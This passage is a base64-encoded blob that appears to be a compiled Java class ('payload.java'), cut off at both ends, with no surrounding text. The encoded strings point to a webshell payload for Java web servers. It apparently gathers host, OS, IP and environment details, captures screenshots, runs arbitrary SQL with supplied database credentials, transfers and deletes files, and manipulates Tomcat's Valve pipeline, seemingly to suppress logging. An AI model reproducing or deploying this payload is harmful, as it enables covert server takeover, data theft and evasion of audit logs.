uaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhACEAAQADAAAAEwAZAAUABgAAAAA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